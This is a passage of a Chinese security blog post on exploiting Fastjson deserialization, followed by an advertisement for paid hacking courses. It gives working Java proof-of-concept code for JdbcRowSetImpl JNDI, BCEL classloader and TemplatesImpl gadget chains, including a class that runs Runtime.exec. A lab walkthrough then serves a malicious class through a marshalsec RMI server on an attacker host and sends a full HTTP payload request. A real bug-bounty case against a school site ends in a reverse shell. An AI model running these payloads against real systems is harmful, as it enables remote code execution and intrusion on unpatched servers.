"$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A" +    } +} + +``` +### 八、bit4woo师傅汇总的POC + +**参考文档：** + +https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md +#### 1、基于com.sun.rowset.JdbcRowSetImpl的PoC1 + +该PoC需要使用JNDI，需要搭建web服务，RMI服务或LDAP服务，利用相对麻烦。但对于检测fastjson漏洞是否存在，这个却是最简单有效的（结合DNSlog）。 +``` +package fastjsonPoCs; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +/* + * 基于JNDI的PoC,可用的JNDI服务器有RMI，ldap。 + *  + */ +public class PoC1JNDI { +  public static void main(String[] argv){ +    String xx = payload(); +  } + +  public static String payload(){ + +    //JDK 8u121以后版本需要设置改系统变量 +    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); +    //LADP +    String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}"; +    //RMI +    String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\",\"autoCommit\":true}"; + +    JSONObject.parseObject(payload2); +    JSON.parse(payload2); +    return payload2; +  } +} + +``` + +以上poc共有三个触发点：静态代码块(Class.forName())、类实例化、和getObjectInstance()方法。 +#### 2、基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC2 + +这个PoC是漏洞利用时最方便的，它不需要依赖JNDI等服务，所有内容一个请求中搞定。 +``` +package fastjsonPoCs; + +import evilClass.*; +import com.alibaba.fastjson.JSONObject; +import com.sun.org.apache.bcel.internal.classfile.Utility; + +/* + * 基于org.apache.tomcat.dbcp.dbcp.BasicDataSource的PoC，当然也可以说是基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC + * 前者的主要作用是触发，也就是包含Class.forName()函数的逻辑(createConnectionFactory函数中)；后者是类加载器，可以解析特定格式的类byte[]。 + *  + *  + * org.apache.tomcat.dbcp.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-7.0.65.jar + * org.apache.tomcat.dbcp.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-9.0.13.jar + * org.apache.commons.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/commons-dbcp/commons-dbcp + * org.apache.commons.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.commons/commons-dbcp2 + *  + * 主要参考：https://xz.aliyun.com/t/2272 + */ +public class PoC2dbcp { +  public static void main(String[] argv){ +    String xx = payload2(); +  } + +  public static String payload2() { +    //payload3:https://xz.aliyun.com/t/2272 +    try { +      String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}"; +//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}"; +//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}"; +//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}"; +      byte[] bytecode = createEvilClass.create("evil","calc"); +      String classname = Utility.encode(bytecode,true); +      //System.out.println(classname); +      classname = "org.apache.log4j.spi$$BCEL$$"+classname; +      payload2 = payload2.replace("xxxxxxxxxx", classname); + +//      ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader(); +//      Class.forName(classname, true, cls); +      JSONObject.parseObject(payload2); +      return payload2; +    } catch (Exception e) { +      e.printStackTrace(); +      return null; +    } +  } +} + +``` +#### 3、基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(来自廖新喜) + +这个PoC有限制，需要引用程序是如下写法： +``` +JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField) + +``` + +在实际的环境中基本遇不到，但其中的思路还是值得学习的。 +``` +package fastjsonPoCs; + +import org.apache.commons.codec.binary.Base64; +import javassist.ClassPool; +import javassist.CtClass; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.parser.Feature; +import com.alibaba.fastjson.parser.ParserConfig; +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +/* + * 该poc来自于廖新喜大佬的文章：http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ + * 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，构造的恶意类需要是继承了AbstractTranslet的。 + */ +public class PoC3TemplatesImpl { +  public static void main(String[] argv){ +    String xx = payload3(); +  } + +  public static String payload3() { +    try { +      //http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ +      String payload3 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"xxxxxxxxxx\"], \"_name\": \"1111\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; +      byte[] bytecode1 = Gadget.createEvilBytecode("calc"); +      String className = TemplatesImpl.class.getName();//com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl +      payload3 = payload3.replace("xxxxxxxxxx", Base64.encodeBase64String(bytecode1)); + +      System.out.println(payload3); +      ParserConfig config = new ParserConfig(); +      Object obj = JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField); + +      return payload3; +    } catch (Exception e) { +      e.printStackTrace(); +      return null; +    } +  } +} + + +class Gadget { + +    public static class evil extends AbstractTranslet{ +      @Override +        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } + +        @Override +        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } +    } + +    static byte[] createEvilBytecode(final String command) throws Exception { +        ClassPool classPool = ClassPool.getDefault(); + +        // 获取class +        System.out.println("ClassName: " + evil.class.getName()); +        final CtClass clazz = classPool.get(evil.class.getName()); + +        // 插入静态代码块，在代码末尾。 +        clazz.makeClassInitializer().insertAfter( +                "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");" +        ); +        clazz.setName("evilxxx");//类的名称，可以通过它修改。 + +        clazz.writeFile("D:\\");//将生成的.class文件保存到磁盘 +        // 获取bytecodes +        final byte[] classBytes = clazz.toBytecode(); +        return classBytes; +    } +} + +``` +## 0x4 Fastjson自动化检测插件 +### 一、BurpFastJsonScan插件 + +这里呢我就给师傅们推荐下两款burpsuit上面的自动化检测fastjson的插件，这两个插件会对BurpSuite传进来的带有json数据的请求包进行检测，对于像我这样上班爱摸鱼的马楼来讲还是蛮适合的，哈哈哈。 + +首先，介绍的是BurpFastJsonScan 这款插件是一个希望能节省一些渗透时间好进行划水的扫描插件，该插件会对BurpSuite传进来的带有json数据的请求包进行检测。 + +目前的功能如下： +- 命令回显 + +- 远程命令执行 + +下载链接：https://github.com/pmiaowu/BurpFastJsonScan + +安装这个插件也很简单，无脑操作如下： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedNnfTeqft8B7l4S1b7QebGHWiakkAzVEgOgMzyhxNoFjloNLjWC8leLA/640?wx_fmt=png&from=appmsg "null") + +这里就来简单的介绍下他这款工具的一个检测规则吧 +- POST 的内容为json + +- GET 的参数内容为json + +- POST 的参数内容为json + +- Cookie 的参数内容为json + +``` +例子: +GET, POST, Cookie 有个参数 json +json = {"aaa":"66666"} +那么就会去检测 +json的这种就是请求包的内容直接就是json不带参数的那种, 也会去检测 + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedQds7rhdPzQS7icg0XyLL551qiaMOvIwvibfVvOO4uonsAsP0ekCwBrSTQ/640?wx_fmt=png&from=appmsg "null") +### 二、FastjsonScan插件 + +FastjsonScan插件是一个简单的Fastjson反序列化检测burp插件，其实跟上面那个使用起来都是差不多的，区别在于插件检测的效率可能不一样，两个插件我都是推荐jdk1.8的环境，其实不光的fastjson漏洞要利用jdk1.8，你在复现好多Java反序列化漏洞的时候都是需要这个版本环境的，到文末我也会给师傅们推荐一个文章，去如何安装jdk1.8的环境。 + +工具下载链接：https://github.com/Maskhe/FastjsonScan?tab=readme-ov-file + +安装和使用都和上面的插件差不多，这里给师傅们看看使用FastjsonScan插件扫描结果界面： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedObOKXjiaHhnj2jwuFu0icOaIvtoVX7y1Nd4uhul0JHodLQzcbLds8e6w/640?wx_fmt=png&from=appmsg "null") +## 0x5 Fastjson环境搭建+漏洞复现 +### 一、环境搭建 + +靶机：Ubantu IP 192.168.103.161 （先要安装docker，然后下载vulhub） 启动vulhub里面的fastjson环境 + +攻击机：kali IP 192.168.103.129 + +我们先利用Ubantu进入vulnhub靶场，进入/vulhub/fastjson/1.2.24-rce目录下，然后执行以下命令，看到done，那么就表示环境开启成功了。 +``` +docker-compose up -d + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedgyY4ictib1zvOkN6X3l4UhLFwrLfWpxUNqqeMSAtRia4CXiaQiaCKxNp5WA/640?wx_fmt=png&from=appmsg "null") + +查看我们ubantu中docker开启环境的端口情况，端口是8090 +``` +docker ps -a + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedHNZicaJNxYrC8G3dITpT7ju70oSSWJa1eCY2Iib2mqwkgGILOWgJaTqg/640?wx_fmt=png&from=appmsg "null") + +我们访问 ubantu的IP+端口，192.168.103.161:8090，得到如下的界面： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedabvIdaaAsH29cke9Ft6jv3tGC6R0cbJs3fcHTfwVF6Z2Fp1NrbHdoQ/640?wx_fmt=png&from=appmsg "null") +### 二、漏洞复现 +#### 1、远程创建文件 + +一、这里要创建java代码文件，所以对环境比较严格，要保证java和javac的版本一致，且都是1.8的版本！！！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedozopiaq3qHw4eYhZTibPtdOyYib4SoLv4E6e1dN2pSW7cdPekHPNXCGoA/640?wx_fmt=png&from=appmsg "null") + +二、我们先在本地把java代码文件编译好，然后再上传到攻击机：kali下保存以下代码为TouchFile.java文件 +``` +// javac TouchFile.java +import java.lang.Runtime; +import java.lang.Process; + +public class TouchFile { +    static { +        try { +            Runtime rt = Runtime.getRuntime(); +            String[] commands = {"touch", "/tmp/successFrank"}; +            Process pc = rt.exec(commands); +            pc.waitFor(); +        } catch (Exception e) { +            // do nothing +        } +    } +} + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedSUazNm9PzwUwezj9RpjtvadJFFbfWibCqNKiaHvovlXDZibPtp4jaVFsw/640?wx_fmt=png&from=appmsg "null") + +三、编译.java文件，生成.class文件。 +``` +javac TouchFile.java + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedibHAnicYZ0GlvYoyUK8tMuPW1Iic808SPbHSIR1NpOOpJ5iblVJHqjuqnA/640?wx_fmt=png&from=appmsg "null") + +四、然后我们再把编译好的.class文件上传到攻击机kali目录下 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedepqibcZ39gEGNL3rJTiaL0KJiaGcp9POFictsOiblxgRYb8cbcBo4bFG0Kg/640?wx_fmt=png&from=appmsg "null") + +五、在class文件所在的目录，Python起一个http服务。用4444端口启动http服务的命令为： +``` +┌──(root-kali)-[~/桌面/fastjson] +└─# python -m http.server 4444 + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedNR2PHa46ktCpxQjiaQdAHUbnnfGeZWdGnafnlXqFRhumn8UHs2YHpKg/640?wx_fmt=png&from=appmsg "null") + +六、访问kali的IP+开启http服务的4444端口，就会出现下面的页面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaed1O8ics2zta7ms6Fx6kgoBmJPMWQTvM4VKS0wnafkU8RDB9by47tlYMw/640?wx_fmt=png&from=appmsg "null") +#### 2、开启RMI服务 + +一、开启rmi服务之前，我们需要利用marshalsec项目，需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具，下载链接如下：https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedrdQ8ncz2dkeNQQ27IRMYqYGKLjJW3iakO2eVRq8a3S4MibMl4Z9NhZAg/640?wx_fmt=png&from=appmsg "null") + +二、接下来使用marshalsec项目，启动RMI服务，监听9999端口并加载远程类TouchFile.class： + +开启RMI服务，命令行中的IP地址是kali攻击机开始开启http服务的地址 +``` +┌──(root-kali)-[~/桌面/Apache-Log4j-Learning-main/tools] +└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.103.129:4444/#TouchFile" 9999 + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedttF3pO5cibXmnrsyb1SsoicLTHuum9LL2H0EB9FP6ic8vG2oVic5Lvlia5w/640?wx_fmt=png&from=appmsg "null") + +三、利用burp抓取靶机ubantu（192.168.103.161:8090）的包，然后再改变抓到的包的请求方式为POST，然后再发送到Repeater中。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaeda7DdDZtPV0IU2BTkl2mmuHcCrEQAstjtvUoZmhbqeBKibHLTNL5fibEg/640?wx_fmt=png&from=appmsg "null") + +四、添加payload，师傅们可以参考我这个请求包的内容，因为我开始在网上找了很多，然后rmi服务监听都没有回应，都失败了。 +``` +POST / HTTP/1.1 +Host: 192.168.103.161:8090 +Pragma: no-cache +Cache-Control: no-cache +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate +Accept-Language: zh,zh-CN;q=0.9 +DNT: 1 +Connection: close +Upgrade-Insecure-Requests: 1 +Cache-Control: max-age=0 +Content-Type: application/json +Content-Length: 165 + +{ +    "b":{ +        "@type":"com.sun.rowset.JdbcRowSetImpl", +        "dataSourceName":"rmi://192.168.103.129:9999/TouchFile", +        "autoCommit":true +    } +} + +``` + +主要是看这两个地方，圈起来的是主要payload，然后看是否成功执行了，就看返回包中是否回显500关键字。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedq0bNp4J0RWnZ5LpNXfC9RPPAz4MTNyNVyzT6Hdkokk43caML34MH7A/640?wx_fmt=png&from=appmsg "null") + +然后可以看到rmi服务的监听和开启的http服务都有回应了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedZtHnZpmicPntCyiaeHCMjKRQO2o57ibOrgMLAysjwTic4D6QL35YREdEfA/640?wx_fmt=png&from=appmsg "null") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaed17qRrrNQhiarFbqibFpp1tAibVXjoPYEiavCWXgiafBeQtKJwrI6ibEOnlibg/640?wx_fmt=png&from=appmsg "null") + +五、我们开始的TouchFile.java这个脚本文件，我们是让他执行touch /tmp/successFrank 目录文件，我们来看看是否执行成功了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedIroiaQme0RjrFFGXIrLSeH8PicqchFEuVscBdBeHrqCUoB53sy4M5Zow/640?wx_fmt=png&from=appmsg "null") + +详细步骤如下： +``` +1、docker ps  //找到CONTAINER ID + +2、docker exec -it CONTAINER ID /bin/bash   //就可以进入CONTAINER ID当前目录下了 + +3、cd /tmp   + +4、ls   //就可以看到创建的successFrank文件了 + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedniaanyyc4kyYqIDlG7yXOdsrqPQ0FPtRtrubHPT98VV45tq9q1deWcw/640?wx_fmt=png&from=appmsg "null") + +目前，我们就把漏洞复现成功了！！！ +## 0x6 实战案例分享 + +上面使用vulhub靶场镜像复现了fastjson漏洞1.2.24-rce版本的，下面就给师傅们分享下我之前挖EDUSRC漏洞的时候碰到的fastjson<=1.2.47版本的fastjson漏洞，当时也是顺利使用fastjson_tool去构造fastjson<=1.2.47左右的利用链成功，然后打了一个rce，最后提交了EDUSRC漏洞平台 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedRAns6MiaTUOWGiaDIrMq30usIq4j4TLDwyff6HKQXmvibRdjrTFGe5xXg/640?wx_fmt=png&from=appmsg "null") + +当时是在逛一个学校的虚拟仿真实验室首页，然后看到这里仿真实验，然后点进去 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedCxOWJDfvUkCPVdJkT6tuDDzuBlWL6jFJRyYkicBQa9fXClrQcDKTmvQ/640?wx_fmt=png&from=appmsg "null") + +但是这里点击使用平台需要我们输入账户密码，但是这里也有一个注册接口，然后这里我也就是正常的注册一个用户，然后再登录，输入账户和密码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedzIsWINSQvaKR7ajwjAbFkmGdpzpmMC74zibYm2TAqia0KrIroOIHMsPQ/640?wx_fmt=png&from=appmsg "null") + +像这样的登录口，有什么记住密码选项或者登录框，我常会直接打开我的burpsuit插件，比如shiroscan和上面介绍的fastjsonscan插件进行一个自动化扫描。 + +这里我们可以看到，burpsuit的fastjsonscan插件扫出改登录口存在fastjson漏洞，通过利用链可看出该fastjson版本在1.2.47左右,这里我们直接使用 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedRAHBJDj8bia0aEticOiaPicRzwTZsBJpYKQPeVkPUwxo16exERYKOBCP3A/640?wx_fmt=png&from=appmsg "null") + +然后可以使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar这个工具生成JNDI链接的工具可以启动多个服务器来利用JNDI注入漏洞，然后打fastjson漏洞 + +下载链接：https://github.com/welk1n/JNDI-Injection-Exploit +``` +java -jar https://github.com/welk1n/JNDI-Injection-Exploit -C '[command]ping dnslog.cn' -A vps_ip + +``` + +后面就是常规的步骤了，这里也是成功反弹shell了 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaediaOy8VQJlxPEd5f24VpZP65HiaIALdkOL44e4HCzicqtFaD6OEGUooYvQ/640?wx_fmt=png&from=appmsg "null") +## 0x7 总结 + +到这里呢这篇Fastjson漏洞相关的分享就结束了，这里祝愿师傅们多挖洞，多出洞！ + +然后呢，下面就是文章中出现的一些文章链接，比如jdk1.8的安装教程包括vulnhub的一个安装，还有就是参考文章之类的，包括上面文字中介绍用到的工具之类的下 + +载链接。 + +JDK1.8安装详细教程：https://blog.csdn.net/m0_54899775/article/details/122420533 + +安装vulnhub详细教程：https://blog.csdn.net/m0_54899775/article/details/122463532 + +哔哩哔哩视频讲解：【fastjson反序列化漏洞演示加详细讲解加原理】 https://www.bilibili.com/video/BV1Ab4y1d7w1/?share_source=copy_web&vd_source=268f8d699ac32cf11e9bdc248399c5bd + +参考文章： + +https://github.com/bit4woo/code2sec.com + +https://xz.aliyun.com/t/14872 + +burpsuit插件及工具下载： + +https://github.com/pmiaowu/BurpFastJsonScan + +https://github.com/Maskhe/FastjsonScan?tab=readme-ov-file + +https://github.com/welk1n/JNDI-Injection-Exploit + +02 + +0x2 课程背景 + +哈咯，各位师傅们好久不见！ +神农安全内部小圈子从 +2024年开始搞起来的，到现在也已经有小一两年了，期间承蒙各位师傅们的 +关注和支持 +💗 +非常感谢大家。 + +「神农安全」知识星球目前已经 +累计1600+网络安全爱好者的加入，在这个过程中收获到了很多师傅们的 +好评与鼓励 +🎉 +， +内部小圈子：一个知识星球+内部小圈子交流群+知识库。一直一来价格都没有超过50（都给师傅们发优惠卷），基本上加了小圈子的师傅都会说一句—— +“ +这圈子加的真值啊 +”。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltthLEynEQtMibH6uWjBva44EEEkCx8bX12KA8gsZKQlllwGfyAEiaDHqY8g/640?wx_fmt=other&from=appmsg "") + +我平常呢也特别的爱 +分享技术文章，特别是每当学习到一个新技术，我都会去详细认真的写一篇对应的博客文章进行发表。 +活跃于先知社区、FreeBuf、奇安信攻防社区、知乎与CSDN等技术社区，id： +一个想当文人的黑客，累计发表  +500+篇原创技术文章。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltthlexDYBvDy8LwERVHKlbb7086Gm5KFIV78taz23NJicAWpDYA9T4svTA/640?wx_fmt=png&from=appmsg "") + +发表的公众号文章也从来没有设置过 +付费模式，哪怕一篇文章写个一个星期左右，好几万个字一篇的文章也都向来如此。喜欢看我写文章的师傅们都知道我写的技术博客文章：要有 +实战案例截图+详细知识点汇总，所以这样也是吸引到了很多师傅们观看我的文章，也是一年时间迅速在网络安全的圈子里面发展了自己的 +内部小圈子 +（成绩也不错） +🎉 +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWX3SIic6S4hEtLspuFkYL0w3LaPPsV0u8gXdAC0wuz2xobUIMR9ibfrkKzsgBQ1keNgnuMo3aXuO1ibQ/640?wx_fmt=png&from=appmsg "") + +后面也是小圈子做大起来了，师傅们也都喜欢看我文章，想让我开课教下思路，所以想着自己花时间做了 + ✨ +课件和课表，都是纯自己手搓的，大家也可以看下课表的内容，**课程价格目前是300** +（后面也会随着人数越多，涨价） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWX3SIic6S4hEtLspuFkYL0w3c0V9SHia9KaMfIRkaRLia8mhrxjITkWvU6UJuibbGmrHe9La4CK96XUeg/640?wx_fmt=png&from=appmsg "") + + +不是小圈子的师傅们报名成功再送内部小圈子（知识星球）一个，都有对应的 +专属微信群聊 + ✨ +。 + +一周1-2节课程，**直播+录播形式** +，课程内容大家可以看课表，目前是第一期，一次报名永久无限听课 + +目前是第一期课程，后面比如说开了二、三期，都是不用在花钱的 + +上课结束后，会把**视频录播+课件笔记** +一起打包发直播群 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltthM2sjuWQFbmvWv79V058KwI0DswFF9LysewGtULj81Vp5bX9nTEK78A/640?wx_fmt=png&from=appmsg "") + +03 + +0x3 课程特色 + +课程 +主打真实， +一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的，让你真正了解SRC漏洞挖掘，助力在岗人员和大学生的能力提升，掌握新的技能树，为下一次 +跳槽涨薪做好准备。本 +课程内容覆盖企业 +SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。 + +本课程 +适合人群 +（光看不挖啥也不会） +``` +1、想从0转行入行的大学生或自学者 +2、想从CTF比赛/Web或SRC进阶到项目实战的选手 +3、想参与项目/找工作/提高收入的转型者 +``` + +课程价格：300元 + +报课成功的师傅们直接免费送内部小圈：一个知识星球+内部小圈子交流群 +``` +1、课程价格真心实惠，绝不割韭菜 +2、两三百的课程价格让你体会大几千的培训课程内容 +3、带着大家从0到1，本人上课坚持手搓课件（实战案例+知识体系） +4、拒绝使用PPT演讲模式（无实操，很枯燥） +``` + +直播培训教学方式 + +课程 +一周1-2节课，课程特色涵盖直播多人上麦活跃回答，直播过程中有问题随时解决或私信我。 +拉微信群：一个知识星球内部小圈子交流群+课程培训直播通知群。有项目/工作/护网第一时间内推报课的师傅， +一对一简历优化，助力在岗人员和大学生的能力提升。 + +一次报名每期均可永久学习，并且赠送内部「神农安全」知识星球，一对一永久解答、无保留教学！ + +欢迎关注微信公众号：神农Sec，报名咨询添加微信： +routing_love + +课程均为线上交付，报名成功后 +不支持退款 + +内部小圈子 +（知识星球+内部小圈子交流群+知识库） + +对内部小圈子感兴趣的师傅们也可以看下下面的这个 +跳转链接，里面有对小圈子的详细介绍，报名课程成功的师傅们直接免费送一个（直接点击下面直接可以跳转）。 + +[强烈推荐一个永久的SRC挖掘、渗透攻防内部知识库](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247501608&idx=1&sn=5eb836122ac222ca9767a7bbc3c4521b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltth4VWMmSt5ZBYAUuNNGuEjU3tvKRAN0yqMTPSnzKxibReCfiaFGibLxdAYw/640?wx_fmt=png&from=appmsg "") + +讲师介绍 + +id：一个想当文人的黑客 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltthqvGuVSjkR43eeaNibf1KbGU4nia5ibXFYpTBFeAbQewTq43IqJHIMhhhg/640?wx_fmt=png&from=appmsg "") + +欢迎关注微信公众号：神农Sec，报名咨询添加微信： +routing_love + 